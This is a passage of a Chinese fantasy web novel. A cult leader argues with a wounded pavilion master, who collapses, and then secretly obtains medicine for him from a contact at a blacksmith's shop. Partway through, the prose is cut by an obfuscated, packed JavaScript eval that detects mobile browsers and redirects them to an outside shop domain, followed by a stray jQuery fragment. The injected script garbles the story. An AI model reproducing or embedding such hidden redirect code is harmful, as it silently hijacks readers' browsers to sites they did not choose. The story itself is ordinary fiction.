萧宿二话不说,一把扣住于益珩的手腕经脉,放出些许能力试探,脸色骤然间变得惨白,“你魂魄不稳,刘长老早就告诉过你不得动武,你还在这里逞强做什么!”
于益珩眼前全是花红柳绿色彩,只要身体一动,就会觉得天旋地转。
他不得不稍稍躬下身,倚靠在廊柱边缘,才能勉强保持站立,“还不是为了给你……算了,这不重要,你让我歇一会儿,本阁现在……真的晕的厉害。”
萧宿咬紧牙关,声音微微带了些怒气,“三尾象角不是什么稀罕物,就算这次拿不到,也会有其他方法来拿,你……”
“你少说两句,可以吗?”萧宿的话明明近在耳边,于益珩却怎么都听不清,他大口大口地呼吸,说出去的每一个字,都觉得像是吞了刀片一般的痛苦,“东西拿到就行了,至于其它的,本就不是你该关心的范围,本阁……本阁既然有言在先,就绝不会食言,就算拼死一试,也定要做成,更何况……刘文昊会在这几天送安定魂魄的丹药来,本阁就算再怎么危险,也绝不会……”
“够了。”萧宿二话不说,示意李房帮忙,一左一右把人架起拖走,“你这个人,从来都不听劝!我警告你多少次,让你在做事之前想着点自己!不要每次都把自己折进去!这算什么!这么多年了,你就不能有点长进!”
于益珩不动则已,一动起来,眼前便一阵阵的发黑,“呵……这才刚过去几天,萧教主就原形毕露,开始对本阁随意指摘了?”
萧宿瞪了他一眼,着实不能理解,在这种生命垂危的关头,他竟然还能想到这些:“我没那个意思!”
“是吗?那你就把你那到处做好事的态度收一收,不要动不动就拿出这么一副人畜无害、装模作样的架势,来掩盖你假仁假义的本质。”
他不说则已,一说起来便着实伤人,萧宿没来由地想到这些时日在听雪阁里受到的委屈,便是他脾气再好,也禁不住有些气恼。
他一拳捶在了于益珩的伤处,理所应当的看到他骤然紧绷的眉头:“我装模作样?我假仁假义?于益珩,你历尽艰险助我夺得问宸教主之位,到头来,却被我一剑穿心,死于非命,所以你对我有怨,也有恨,你恨我杀了你,也恨我利用你的死大做文章,只为稳住自己的问宸教主之位!”
于益珩全身一抖,骤然被翻出伤疤,那是连听雪阁主无法承受的,蚀骨铭心之痛。
“但是于阁主,这七年来,我自问从来没有对不起你听雪阁,无论你想要做何决定,我都可以接受,但是于阁主,我的忍耐也是有限度的,你不能一而再,再而三,用恶意去揣测我的一片丹心!”
萧宿是真的被气到了,连声音都没有刻意去压低,李房登时便觉得脊背处冷汗直冒,急忙环顾四周,好在这些参加夜邑会的家主们都已离开,他们身边只有些来去匆匆的行人,并无一人注意到这边的争吵。
可于益珩却没有丝毫的自觉,他没有力气运功给自己运功疗伤,却有这个闲心继续对着萧宿发出质问,“一片丹心?你有那种东西吗?你干掉了那么多兄弟姐妹上位,放眼修真界都是独树一帜,担心……本阁看是狼子野心更加适合。”
萧宿额角青筋暴起,如果不是已经过了争强好胜的年纪,他真的会把于益珩拖出去狠揍一番,然后剖开他的脑子,看看里面都装着什么乱七八糟的东西。
“他们是怎么死的你心里没点数吗!还是说你觉得他们之死,你就没有出一份力?于益珩,我不管你怎么想,怎么看,总之,我从来都没有对不起你听雪阁,你……”
话音未落,于益珩猛地吐出一大口鲜红,全身的重量都倒了下来,李房只觉得肩头一沉,随后便闻到了浓烈的血腥气。
斑斑点点的血水落在萧宿的袖口处,金色的衣衫染满了大朵大朵的梅花,触目惊心。
“益珩?益珩!”
萧宿两指抵在脉搏处,虚弱无比,几乎察觉不到它的跳动。
“情况不妙,安志,你——”
“属下灵力不足。”李房的手一直没有离开过于益珩胸前,他们同修水属,灵力互通,能暂时稳定住他的情况,“俞峰给他造成的都是皮外伤,并没有真的伤筋动骨,只是到底受了非本属性灵力的影响,魂魄激荡,所以才会呕血昏迷,教主,这聚灵灯真的有效吗?”
“刘长老并未告知我聚灵灯的正确用法,恐怕是因为这东西关系到听雪阁主的性命,即便他对我信任有加,也不敢拿这种事来冒险。”萧宿猛地一拍脑袋,懊恼道,“我真是……一时上头,忘了他是个伤患……不对!”
李房疑惑道:“怎么不对?”
“问宸教已经和听雪阁达成合作,而且我知道他那么多的秘密,激怒我,对他没有半点好处,他没有必要在这个时间翻旧账。”
李房对此也甚是奇怪,照理来说,于阁主愿意出手帮忙,也算是一件好事,最起码表示他没有太多抵触,“属下也这么觉得,所以属下在想……或许阁主并非想要激怒教主,他只是想和教主划清关系。”
萧宿鼻尖“哼”了一声,无语道,“他多虑了,我问宸教本来就和听雪阁之间没什么往来。”
李房咬咬牙,旁观者清,或许他们二人都需要冷静一下,“不是,属下觉得,他是想让您自己和听雪阁之间划分关系。”
萧宿点住于益珩周身大穴,暂时封住经脉,免得魂魄遭受更强的冲击,“已经不可能了,听雪阁的事,该知道的我都知道,不该知道的我也知道,他自己这样想没用,昏迷的五年让他错过了很多,有些事已经不再受他控制了。”
“或许正是因为如此,于阁主才会如此暴躁,他本来……并不是那样的一个人。”
萧宿脸色一僵,沉默半晌,方才说道:“……是我疏忽了,刚才不应该对他发怒的,是我的错。”
他怎么就忘了,自苏醒后,于益珩性格大变,再不能用从前那样的态度同他讲理,否则只会反噬自身。
是自己太过心急了。
“……是我疏忽,刚才不应该对他发怒的,我的错。”
于益珩的呼吸越来越重,可这脉搏却越来越轻,李房的额头渗出冷汗,
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17750702|209412||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
一直没有停下灵力传输,“他现在怎么办?再这样下去,怕是撑不了多久。”
萧宿在手环处点了一点,“他只是因为动用武功才会如此,稍作休息就能恢复,你先带他回去。”
他拍拍袖子准备起身,李房急忙问道:“教主可是去参加晚宴?”
“不去了,都是尔虞我诈的战斗场,我现在没有那个心情跟他们虚以委蛇,你稍后代替我去,益珩就交成弘照顾,我去一趟听雪阁的暗桩处,稍后便回,你嘱咐成弘照顾好他,切莫让旁人发现他的异常。”
“是,属下领命。”
与前两日不同,现在的寰梦城街道门可罗雀,人人皆知慕容建辉正在大宴宾客,无论身份高低贵贱,皆可去寰梦主城一游,所以即便是萧宿行走在街头巷尾间,也不会有人在意。
他走进一家铁器铺,打铁的匠人已经收摊休息,只留下一个半人高的小男孩,蹲在店铺前玩铁片。
“小弟弟,请问您的父亲呢?”
小男孩抬起头来,只见一位身着淡金色华服,头戴银冠,看起来一脸温和的年轻人和他讲话,不由得站起身,局促地搓着衣角。
“爹爹去陪祖父休息了,祖父年纪大了,身边离不开爹爹,请问您找爹爹有什么事吗?”
铁匠铺中到处都是铁粉和飞灰,萧宿蹲下身,将衣摆拢至膝间,“倒也没什么事,除了你爹爹外,家里还有其它人吗?”
“我还有娘亲,您要见我的娘亲吗?可娘亲是女子,爹爹在家,她是不会见外人的,您是我娘亲的旧友吗?”
“我的一个朋友委托我将这张纸交给她。”萧宿从怀中抽出一张草纸,“你说的很对,如今天色已晚,我又是位男子,的确不大适合面见内宅之人,不如你辛苦一下,帮我跑个腿,如何。”
他拍了拍小男孩的衣袖,将一颗银锞子放到男孩的掌心,那小男孩登时满眼放光,兴冲冲地跑进里屋。
草纸上画的图案正是雪华令,因为不太确定对方是否会相信自己,所以萧宿便将其拓印下来,又将上面的字,用听雪阁最常用的方法做了密文处理,除非对方是刘文昊手下的暗桩,否则在外人看来,那纸上画的图案,只是再寻常不过的一枚玉牌。
大概过了半盏茶的时间,小男孩便推门而出,他鬼鬼祟祟地向四周张望一番,随后去了灶台下翻找,小心翼翼地拿出一个包裹。
“我娘亲把那张纸烧掉了,然后让我把这个交给你,说里面是救人的药,蜡封开启后必须在半个时辰内服下,否则药效就会减半。”
“好,非常感谢。”
萧宿摸了摸小男孩的头,嘱咐小男孩早些回去休息,又将另一枚银元宝塞到手中作为感谢,这才起身离去。
得快些将药送到,时间拖的越久,越麻烦。
“萧教主这急匆匆的,是要去哪儿啊?”
萧宿停下脚步,深吸一口气,压制心中怒火。
“慕容城主相邀,向公子不去参加宴会,大半夜的,竟然有时间出来散心。”他慢悠悠地转身,捧出一副完美无缺的笑脸。